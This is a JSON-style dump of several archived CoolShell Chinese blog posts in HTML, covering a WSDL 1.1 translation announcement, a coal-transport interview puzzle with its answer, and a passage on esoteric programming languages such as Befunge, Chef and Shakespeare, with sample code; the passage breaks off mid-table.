href=\"https://coolshell.cn/articles/3421.html\" target=\"_blank\" title=\"流体力学的演示\">流体力学的演示</a>吗？现在有人把其做到了<a href=\"http://www.infi.nl/blog/view/id/98/Liquid_on_iPhone_and_iPad\" target=\"_blank\">iPhone/iPad上</a>。</li>\n</ul>\n<p>就这么多吧，也许没什么意思，那也请你见谅了。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3013.html\"><img alt=\"一些非常有意思的杂项资源\" height=\"150\" src=\"../wp-content/uploads/2010/09/biolab-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3013.html\">一些非常有意思的杂项资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9666.html\"><img alt=\"浏览器的渲染原理简介\" height=\"150\" src=\"../wp-content/uploads/2013/05/Render-Process-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9666.html\">浏览器的渲染原理简介</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6840.html\"><img alt=\"CSS 布局:40个教程、技巧、例子和最佳实践\" height=\"150\" src=\"../wp-content/uploads/2012/03/css-layouts-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6840.html\">CSS 布局:40个教程、技巧、例子和最佳实践</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5537.html\"><img alt=\"一些文章资源和趣闻\" height=\"150\" src=\"../wp-content/uploads/2011/11/stackparts.com_-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5537.html\">一些文章资源和趣闻</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4795.html\"><img alt=\"开源中最好的Web开发的资源\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4795.html\">开源中最好的Web开发的资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3684.html\"><img alt=\"Web开发人员速查卡\" height=\"150\" src=\"../wp-content/uploads/2011/02/1128-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3684.html\">Web开发人员速查卡</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3903.html\">一些有意思的贴子和工具</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-4-1 WSDL 1.1 中文规范.html",
    "content": "<html><body><p>WSDL规范目前最新的版本是2.0 ，但是目前大部分还是按1.1的版本进行使用，而且1.1的内容看上去比2.0也简单些，所以我就翻译了这个版本。</p>\n<p>作为一种《<a href=\"https://coolshell.cn/articles/3609.html\" title=\"那些炒作过度的技术和概念\">炒作过度的技术和概念</a>》的一类，WEB Service的确是太过重量级，对于小型的应用，还是因该避免去使用xml和SOAP这些技术。但是在企业级的应用，WEB Service已经开始成为了一种常态，所以对其有一定了解或多或少都是有一些好处的。</p>\n<p>当然，通过读规范来学习一门技术的方法，从来都不是一种好的学习方法，规范只是配合你学习的参考。而且WSDL1.1规范中笔误太多，笔者就发现了两处，都一一做了修正。</p>\n<p>原文的地址在：<a href=\"http://www.w3.org/TR/wsdl\">http://www.w3.org/TR/wsdl</a> ，学习WSDL，需要有一定XML，XML Schema XSD，SOAP的相关知识，请在阅读时特别注意。</p>\n<p>另外WSDL1.1是一个宽泛的规范，所有的语法都以非正式的形式出现，而且为了满足WEB Service 扩展性的需求，也不可能定义出详尽的语法，请在阅读时特别注意。</p>\n<p>我的翻译版本以word形式提供，请要转载的同学们别把酷壳logo去掉的，转载请注明出处。</p>\n<p>由于个人水平有限，翻译难免出现错误。还请读者海涵。</p>\n<p>下载：<a href=\"https://coolshell.cn/wp-content/uploads/2011/03/WSDL-中文规范1.1.doc\">WSDL 中文规范1.1</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1145.html\"><img alt=\"程序员犯的非技术错误(Top 5)\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1145.html\">程序员犯的非技术错误(Top 5)</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10478.html\"><img alt=\"C++面试中string类的一种正确写法\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10478.html\">C++面试中string类的一种正确写法</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17929.html\"><img alt=\"Go编程模式：修饰器\" height=\"150\" src=\"../wp-content/uploads/2017/06/go-hardhat-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17929.html\">Go编程模式：修饰器</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2909.html\"><img alt=\"一些鲜为人知的编程事实\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/13.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2909.html\">一些鲜为人知的编程事实</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3385.html\"><img alt=\"编程语言流行度\" height=\"150\" src=\"../wp-content/uploads/2010/12/rank_scatter1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3385.html\">编程语言流行度</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/19271.html\"><img alt=\"“努力就会成功”\" height=\"150\" src=\"../wp-content/uploads/2019/04/busy.work_-300x166-1-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/19271.html\">“努力就会成功”</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/4131.html\">WSDL 1.1 中文规范</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-4-11 面试题：火车运煤问题.html",
    "content": "<html><body><p><img alt=\"\" class=\"alignright size-full wp-image-1209\" height=\"158\" src=\"../wp-content/uploads/2009/07/Question.jpg\" title=\"Question\" width=\"158\"/>这个可能是一个比较经典的智力题了，和以前的那个《<a href=\"https://coolshell.cn/articles/1202.html\" target=\"_blank\" title=\"面试题：赛马问题\">赛马问题</a>》很相似，其题目如下：</p>\n<p style=\"padding-left: 30px;\"><strong><span style=\"color: #008000;\">你是山西的一个煤老板，你在矿区开采了有3000吨煤需要运送到市场上去卖，从你的矿区到市场有1000公里，你手里有一列烧煤的火车，这个火车最多只能装1000吨煤，且其能耗比较大——每一公里需要耗一吨煤。请问，作为一个懂编程的煤老板的你，你会怎么运送才能运最多的煤到集市？</span></strong></p>\n<p>这道题一开始看上去好像是无解的，因为你的火车每一公里就要消耗一吨煤，而到目的地有1000公里，而火车最多只能装1000吨媒。如果你的火车可以全部装下，到目的地也会被全部烧光，一丁点也不剩。所以，很多人的第一反应都是觉得这个不太可能。</p>\n<p>如果你一开始就觉得不太可能的话，这是很正常的。不过我不知道你还会不会继续思考下去，如果你不想思考下去了，那么我很为你担忧，因为你可能并不是一个不善于思考的人，而是一个畏难的人，还有可能是一个容易放弃的人。这对于你做好 一个需要大量思考的工作的程序员来说可能并不适合。</p>\n<p>我一开始也觉得不可能，后来想了一想，想到一个解法可以最多运送500吨煤到市场，方法如下：（<span style=\"color: #ff0000;\">希望你先自己想一想再查看这个答案</span>）<br/>\n<span id=\"more-4429\"></span><br/>\n&lt;&gt;<br/>\n【<a href=\"\"><strong>查看答案</strong></a>】</p>\n<div id=\"answer\" style=\"display: none; background-color: #eeeeee; padding: 10px 0px 5px 10px; border-style: dashed;\">\n<ol>\n<li>装1000吨煤，走250公里，扔下500吨煤，回矿山。</li>\n<li>装1000吨煤，走到250公里处，拿起250吨煤继续向前到500公里处，扔下500吨煤，回矿山。此时火车上还有250吨，再加上在250公里处还有250吨煤，所以，火车是可以回矿山的。</li>\n<li>装上最后1000吨煤，走到500公里处，装上那里的500吨煤，然后一直走到目的。</li>\n</ol>\n<p>于是，你最多可以运送500吨煤到市场（当然，火车也回不去了，因为那矿山没有煤了）</p>\n</div>\n<p>好像这样很不错的了，不过还有更好的方法能运更多的媒过去。你知道这个方法吗？可以提示的是，就是以上述这个方法的思路。我先暂时不把答案放上来，你可以自己想想。过两天我把答案放上来。</p>\n<p> </p>\n<p><strong>更新（2011年4月17日）</strong>：大家都很聪明，533是应该是最优解，大家用了很多种方法阐述了这一过程，我最初的想法和朋友<a href=\"https://coolshell.cn/articles/4429.html#comment-44698\" target=\"_blank\">xPacificCoolShell</a>的一致！很高兴看到有更为科学的解法，受教了。另外，还有一些朋友提出火车不能随时随地调头的实际情况，非常不错，所以，以后这题不能用火车运煤了，可能是用马运草更好一点了。;)<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7965.html\"><img alt=\"一个fork的面试题\" height=\"150\" src=\"../wp-content/uploads/2012/07/fork01jpg-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7965.html\">一个fork的面试题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4162.html\"><img alt=\"又一个有趣的面试题\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4162.html\">又一个有趣的面试题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3961.html\"><img alt=\"“火柴棍式”程序员面试题\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/21.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3961.html\">“火柴棍式”程序员面试题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3738.html\"><img alt=\"打印质数的各种算法\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/26.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3738.html\">打印质数的各种算法</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3445.html\"><img alt=\"输出从1到1000的数\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3445.html\">输出从1到1000的数</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3345.html\"><img alt=\"140个Google的面试题\" height=\"150\" src=\"../wp-content/uploads/2010/12/googlequestion-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3345.html\">140个Google的面试题</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/4429.html\">面试题：火车运煤问题</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-4-13 BT雷人的程序语言（大全）.html",
    "content": "<html><body><p>还记得以前本站的<a href=\"https://coolshell.cn/articles/1142.html\" target=\"_blank\" title=\"BT雷人的程序语言\">BT雷人的程序语言</a>吗？除了那几个<a href=\"http://www.muppetlabs.com/~breadbox/bf/\" target=\"_blank\">Brainfuck</a>，<a href=\"http://lolcode.com/\" target=\"_blank\">LOLCODE</a>和<a href=\"http://compsoc.dur.ac.uk/whitespace/index.php\" target=\"_blank\">WhiteSpace</a>，我以为这些是比较BT的语言，但是自从这两天我在网上看到一些（见文章最后的参考一节），我发现我错了，这个世界上，只有更变态，没有最变态。不相，你看看下面这些，简直变态到了极致啊。（下面的语言变态不分排名）</p>\n<h4>Befunge</h4>\n<p>第一个变态语言<a href=\"http://quadium.net/funge/spec98.html\" target=\"_blank\">Befunge</a>。<a href=\"http://en.wikipedia.org/wiki/Befunge\" target=\"_blank\">维基</a>上面说——这门语言由Chris Pressey在1993年创造，本意为设计一种为难编译器的语言……结果马上出现了一批编译器。Befunge的代码是二维的。它用 &lt; &gt; v ^ 这四个符号来控制一个指针在代码中移动，指针经过一个字符或数字则把它压入一个栈，四则运算符号的功能就是弹出栈顶两个元素进行计算后把结果压回去。用 _ 和 | 来表示有条件的方向选择：当栈顶元素为0时向右（上）走，否则向左（下）走。&amp; 和 ~ 分别用于读入数字或字符并压入栈，句号和逗号分别表示将栈顶元素作为整数或字符输出。最后以一个@符号表示程序结束。Befunge代码的注释不需要任何符号标明，你可以把注释写在程序的任何地方，只要运行时指针不会经过它就行了。</p>\n<p>下面这段Hello World代码：</p>\n<pre style=\"padding-left: 30px;\">&gt;              v\nv  ,,,,,\"Hello\"&lt;\n&gt;48*,          v\nv,,,,,,\"World!\"&lt;\n&gt;25*,@</pre>\n<p>下面一个是算圆周率的代码，非常的壮观：</p>\n<p><span id=\"more-4458\"></span></p>\n<pre style=\"padding-left: 30px;\">aa*          v                  +------------------------+\nvp*9920p*9930&lt;                  | Pi generator in Bef-97 |\n&gt;:09a*pa*3/1+19a*p09a*g:09b*v   |                        |\nv_@# g*b90 p*b910        &lt; p&lt;   | 7/2/1997, Kevin Vigor  |\n&gt;19a*g:+1-29b*p19a*g::09v       +------------------------+\nv*a90g*b90*g*b91: _v#p*9&lt;\n&gt;g-#v_ 2a*+\\$  v  :$\n&gt;\\1-aa*ga*+v  p\nv1:/g*b92p*991:&lt;  *\n&gt;9b*p29b*g*199*g\\v9\nv*b92p*aa-1g*990-&lt;9\n&gt;g2-29b*p099*g1-:0^\nv -9p*b92:%ag*991  &lt;\n&gt;#v_ 299*g1+299*p&gt;       ^\n&gt;09b*g:#v_$v\nv93p*b90-1&lt;\n&gt;9*g199*ga/+.v\nv:g*992 &lt;p*9 92-&lt;\nv_29b*g399*p ^\n&gt;09b*g:#v_v      1\nvp*b90-1    &lt; $      g\n&gt;199*g9<code class=\"EnlighterJSRAW\">#v_'9,v      *\n&gt;'0, &gt;' ,299^&lt;/pre&gt;\n通常认为Befunge是第一个基于“二维控制流”的语言，后来衍生出的一大批类似的语言都是受的Befunge影响。例如PingPong语言就是把Befunge的四种箭头符号换成正反斜杠，控制指针移动方向90度旋转，起一个反弹的作用。\n&lt;h4&gt;Chef&lt;/h4&gt;\n&lt;a href=\"http://www.dangermouse.net/esoteric/chef.html\" target=\"_blank\"&gt;Chef&lt;/a&gt;如其名一样“主厨”(&lt;a href=\"http://en.wikipedia.org/wiki/Chef_(programming_language)\" target=\"_blank\"&gt;Wiki link&lt;/a&gt;)，这门语言主要是为了让程序代码看起来像菜谱。这可以使得我们的&lt;a title=\"食客还是大厨\" href=\"https://coolshell.cn/articles/3589.html\" target=\"_blank\"&gt;程序员更像是大厨&lt;/a&gt;了，呵呵。该语言于2002年由David Morgan-Mar推出，核心是栈操作，特征就是——一套完整的Chef代码就是一个菜谱，程序名就是菜名，变量声明就是罗列原材料，后面一系列栈操作，就是菜肴的制作方法。把程序编写比作调和鼎鼐，有点意思，家庭主妇（或者“准家庭主妇”）试试看，权且当作人生预习。\n\n用Chef编写Hello World代码如下：（在其网站上还有一个&lt;a href=\"http://www.dangermouse.net/esoteric/chef_fib.html\" target=\"_blank\"&gt;斐波拉契数的例子&lt;/a&gt;）\n&lt;pre style=\"padding-left: 30px;\"&gt;Hello World Souffle.\n\nIngredients.\n72 g haricot beans\n101 eggs\n108 g lard\n111 cups oil\n32 zucchinis\n119 ml water\n114 g red salmon\n100 g dijon mustard\n33 potatoes\n\nMethod.\nPut potatoes into the mixing bowl.\nPut dijon mustard into the mixing bowl.\nPut lard into the mixing bowl.\nPut red salmon into the mixing bowl.\nPut oil into the mixing bowl.\nPut water into the mixing bowl.\nPut zucchinis into the mixing bowl.\nPut oil into the mixing bowl.\nPut lard into the mixing bowl.\nPut lard into the mixing bowl.\nPut eggs into the mixing bowl.\nPut haricot beans into the mixing bowl.\nLiquefy contents of the mixing bowl.\nPour contents of the mixing bowl into the baking dish.\n\nServes 1.&lt;/pre&gt;\n代码解读——原材料名显然可以随便改成别的原料，哪怕用单个字母也可以，不过少了点趣味性，但原料前面代表数量的数字不能改，那是ASCII代码。接下来菜肴制作方法就是把一个个字母和符号（都是ASCII）压入栈（就是代码中的“Put XXX into the mixing bowl”，从最后一个感叹号开始压），最后再把你做的菜托出上桌。\n\n顺便说下，David Morgan-Mar已经设计出8种非主流编程语言了，还有一个变态的操作系统&lt;a href=\"http://www.dangermouse.net/esoteric/petrovich.html\" target=\"_blank\"&gt;Petrovich&lt;/a&gt;。  参看这位大哥的——&lt;a href=\"http://www.dangermouse.net/esoteric/\" target=\"_blank\"&gt;DM's Esoteric Programming Languages&lt;/a&gt;（下面会介绍这位老大搞出来的语言）\n&lt;h4&gt;&lt;strong&gt;Shakespeare&lt;/strong&gt;&lt;/h4&gt;\n&lt;a href=\"http://shakespearelang.sourceforge.net/\" target=\"_blank\"&gt;Shakespeare&lt;/a&gt;语言正如其名，其要让你的程序像“莎士比亚”的剧本一样充满艺术气息。\n\n这个语言于2001年由Karl Hasselstrom和Jon Aslund联合推出，Shakespeare的代码完全模仿莎士比亚的戏剧。它也是一个基于栈的程序语言，程序中出场的每一个人物都代表一个栈。Shakespeare的代码自由度很高，因此同一个程序你可以写出完全不同的代码出来。\n\nShakespeare的Hello World代码如下（就是一部比较完整的“罗密欧与朱丽叶”的戏剧，作好心理准备）。“剧本”内容很无聊，就是一帮人在莫名其妙地称赞某些东西，里头还有古英语词汇，莎翁要是见了，可能会吐血。这里面Hello World或其ASCII码体现在全剧时不时出现的“The difference between……”句里面，根据各指代物品的好坏（比如鲜花算好的，牛粪算坏的）代表各数字，再进行各种运算最后相减（“The difference”暗指减法），得出一个字母或符号的ASCII码表。发明这个语言的人真是BT啊。\n&lt;pre style=\"padding-left: 60px;\"&gt;Romeo, a young man with a remarkable patience.\nJuliet, a likewise young woman of remarkable grace.\nOphelia, a remarkable woman much in dispute with Hamlet.\nHamlet, the flatterer of Andersen Insulting A/S.&lt;/pre&gt;\n&lt;pre style=\"padding-left: 30px;\"&gt;Act I: Hamlet's insults and flattery.&lt;/pre&gt;\n&lt;pre style=\"padding-left: 30px;\"&gt;Scene I: The insulting of Romeo.&lt;/pre&gt;\n&lt;pre style=\"padding-left: 30px;\"&gt;[Enter Hamlet and Romeo]&lt;/pre&gt;\n&lt;pre style=\"padding-left: 30px;\"&gt;Hamlet:\nYou lying stupid fatherless big smelly half-witted coward!\nYou are as stupid as the difference between a handsome rich brave hero and thyself! Speak your mind!&lt;/pre&gt;\n&lt;pre style=\"padding-left: 30px;\"&gt;You are as brave as the sum of your fat little stuffed misused dusty old rotten codpiece and a beautiful fair warm peaceful sunny summer's day. You are as healthy as the difference between the sum of the sweetest reddest rose and my father and yourself! Speak your mind!&lt;/pre&gt;\n&lt;pre style=\"padding-left: 30px;\"&gt;You are as cowardly as the sum of yourself and the difference between a big mighty proud kingdom and a horse. Speak your mind.&lt;/pre&gt;\n&lt;pre style=\"padding-left: 30px;\"&gt;Speak your mind!&lt;/pre&gt;\n&lt;pre style=\"padding-left: 30px;\"&gt;[Exit Romeo]&lt;/pre&gt;\n&lt;pre style=\"padding-left: 30px;\"&gt;Scene II: The praising of Juliet.&lt;/pre&gt;\n&lt;pre style=\"padding-left: 30px;\"&gt;[Enter Juliet]&lt;/pre&gt;\n&lt;pre style=\"padding-left: 30px;\"&gt;Hamlet:\nThou art as sweet as the sum of the sum of Romeo and his horse and his black cat! Speak thy mind!&lt;/pre&gt;\n&lt;pre style=\"padding-left: 30px;\"&gt;[Exit Juliet]&lt;/pre&gt;\n&lt;pre style=\"padding-left: 30px;\"&gt;Scene III: The praising of Ophelia.&lt;/pre&gt;\n&lt;pre style=\"padding-left: 30px;\"&gt;[Enter Ophelia]&lt;/pre&gt;\n&lt;pre style=\"padding-left: 30px;\"&gt;Hamlet:\nThou art as lovely as the product of a large rural town and my amazing bottomless embroidered purse. Speak thy mind!&lt;/pre&gt;\n&lt;pre style=\"padding-left: 30px;\"&gt;Thou art as loving as the product of the bluest clearest sweetest sky and the sum of a squirrel and a white horse. Thou art as beautiful as the difference between Juliet and thyself. Speak thy mind!&lt;/pre&gt;\n&lt;pre style=\"padding-left: 30px;\"&gt;[Exeunt Ophelia and Hamlet]&lt;/pre&gt;\n&lt;pre style=\"padding-left: 30px;\"&gt;Act II: Behind Hamlet's back.&lt;/pre&gt;\n&lt;pre style=\"padding-left: 30px;\"&gt;Scene I: Romeo and Juliet's conversation.&lt;/pre&gt;\n&lt;pre style=\"padding-left: 30px;\"&gt;[Enter Romeo and Juliet]&lt;/pre&gt;\n&lt;pre style=\"padding-left: 30px;\"&gt;Romeo:\nSpeak your mind. You are as worried as the sum of yourself and the difference between my small smooth hamster and my nose. Speak your mind!&lt;/pre&gt;\n&lt;pre style=\"padding-left: 30px;\"&gt;Juliet:\nSpeak YOUR mind! You are as bad as Hamlet! You are as small as the difference between the square of the difference between my little pony and your big hairy hound and the cube of your sorry little codpiece. Speak your mind!&lt;/pre&gt;\n&lt;pre style=\"padding-left: 30px;\"&gt;[Exit Romeo]&lt;/pre&gt;\n&lt;pre style=\"padding-left: 30px;\"&gt;Scene II: Juliet and Ophelia's conversation.&lt;/pre&gt;\n&lt;pre style=\"padding-left: 30px;\"&gt;[Enter Ophelia]&lt;/pre&gt;\n&lt;pre style=\"padding-left: 30px;\"&gt;Juliet:\nThou art as good as the quotient between Romeo and the sum of a small furry animal and a leech. Speak your mind!&lt;/pre&gt;\n&lt;pre style=\"padding-left: 30px;\"&gt;Ophelia:\nThou art as disgusting as the quotient between Romeo and twice the difference between a mistletoe and an oozing infected blister! Speak your mind!&lt;/pre&gt;\n&lt;pre style=\"padding-left: 30px;\"&gt;[Exeunt]&lt;/pre&gt;\n&lt;h4&gt;BIT&lt;/h4&gt;\n&lt;a href=\"http://www.dangermouse.net/esoteric/bit.html\" target=\"_blank\"&gt;BIT语言&lt;/a&gt;也是 David Morgan-Mar 搞出来的。程序员在拥有访问所有数据的全部权限。这是一款强大的编程工具。在高级程序语言中，该工具可以操作这些令人费解的数据。\n\n看看下面这段代码，其展示了BIT的强大之处——代码和注释的完美统一。（很像BASIC）\n&lt;pre style=\"padding-left: 30px;\"&gt;LINE NUMBER ONE CODE READ GOTO ONE ZERO\nLINE NUMBER ONE ZERO CODE VARIABLE ZERO EQUALS THE JUMP REGISTER GOTO ONE ONE\nLINE NUMBER ONE ONE CODE READ GOTO ONE ZERO ZERO\nLINE NUMBER ONE ZERO ZERO CODE VARIABLE ONE EQUALS THE JUMP REGISTER GOTO ONE ZERO ONE\nLINE NUMBER ONE ZERO ONE CODE THE JUMP REGISTER EQUALS OPEN PARENTHESIS VARIABLE ZERO NAND VARIABLE ONE CLOSE PARENTHESIS NAND OPEN PARENTHESIS VARIABLE ZERO NAND VARIABLE ONE CLOSE PARENTHESIS GOTO ONE ONE ZERO IF THE JUMP REGISTER IS EQUAL TO ONE GOTO ONE ZERO ZERO ZERO IF THE JUMP REGISTER IS EQUAL TO ZERO\nLINE NUMBER ONE ONE ZERO CODE PRINT ONE GOTO ONE ONE ONE\nLINE NUMBER ONE ONE ONE CODE PRINT ZERO\nLINE NUMBER ONE ZERO ZERO ZERO CODE THE JUMP REGISTER EQUALS OPEN PARENTHESIS VARIABLE ZERO NAND VARIABLE ZERO CLOSE PARENTHESIS NAND OPEN PARENTHESIS VARIABLE ONE NAND VARIABLE ONE CLOSE PARENTHESIS GOTO ONE ZERO ZERO ONE IF THE JUMP REGISTER IS EQUAL TO ZERO GOTO ONE ZERO ONE ZERO IF THE JUMP REGISTER IS EQUAL TO ONE\nLINE NUMBER ONE ZERO ZERO ONE CODE PRINT ZERO\nLINE NUMBER ONE ZERO ONE ZERO CODE PRINT ONE&lt;/pre&gt;\n当然，对于空格和换行符，显得太冗余了，去掉他们也没有问题。\n&lt;pre style=\"padding-left: 30px;\"&gt;LINENUMBERONECODEREADGOTOONEZEROLINENUMBERONEZEROCODEVARIABLEZEROEQUALSTHEJUMPR\nEGISTERGOTOONEONELINENUMBERONEONECODEREADGOTOONEZEROZEROLINENUMBERONEZEROZEROCO\nDEVARIABLEONEEQUALSTHEJUMPREGISTERGOTOONEZEROONELINENUMBERONEZEROONECODETHEJUMP\nREGISTEREQUALSOPENPARENTHESISVARIABLEZERONANDVARIABLEONECLOSEPARENTHESISNANDOPE\nNPARENTHESISVARIABLEZERONANDVARIABLEONECLOSEPARENTHESISGOTOONEONEZEROIFTHEJUMPR\nEGISTERISEQUALTOONEGOTOONEZEROZEROZEROIFTHEJUMPREGISTERISEQUALTOZEROLINENUMBERO\nNEONEZEROCODEPRINTONEGOTOONEONEONELINENUMBERONEONEONECODEPRINTZEROLINENUMBERONE\nZEROZEROZEROCODETHEJUMPREGISTEREQUALSOPENPARENTHESISVARIABLEZERONANDVARIABLEZER\nOCLOSEPARENTHESISNANDOPENPARENTHESISVARIABLEONENANDVARIABLEONECLOSEPARENTHESISG\nOTOONEZEROZEROONEIFTHEJUMPREGISTERISEQUALTOZEROGOTOONEZEROONEZEROIFTHEJUMPREGIS\nTERISEQUALTOONELINENUMBERONEZEROZEROONECODEPRINTZEROLINENUMBERONEZEROONEZEROCOD\nEPRINTONE&lt;/pre&gt;\n&lt;h4&gt;Haifu&lt;/h4&gt;\n&lt;a href=\"http://www.dangermouse.net/esoteric/haifu.html\" target=\"_blank\"&gt;Haifu&lt;/a&gt;程序语言也是David Morgan-Mar 搞出来的。从命名上就可以看出来它是一个汉语拼音。正是如此，作者想使用东方的哲学来创造一种编程的语言。其中还有Yin（阴）和 Yang（阳）——相当于布尔变量中的True/False，当然，也有金（Metal）木（Wood）水（Water）火（Fire）土（Earth）。呵呵。\n&lt;ul&gt;\n\t&lt;li&gt;Wood: tree, grass, cherry, oak.&lt;/li&gt;\n\t&lt;li&gt;Fire: flame, ash, smoke, embers.&lt;/li&gt;\n\t&lt;li&gt;Earth: soil, mountain, rock, plain.&lt;/li&gt;\n\t&lt;li&gt;Metal: sword, iron, plough, knife.&lt;/li&gt;\n\t&lt;li&gt;Water: rain, snow, river, ice.&lt;/li&gt;\n&lt;/ul&gt;\n自然出现了一张关系表：\n&lt;table border=\"1\" cellspacing=\"0\" 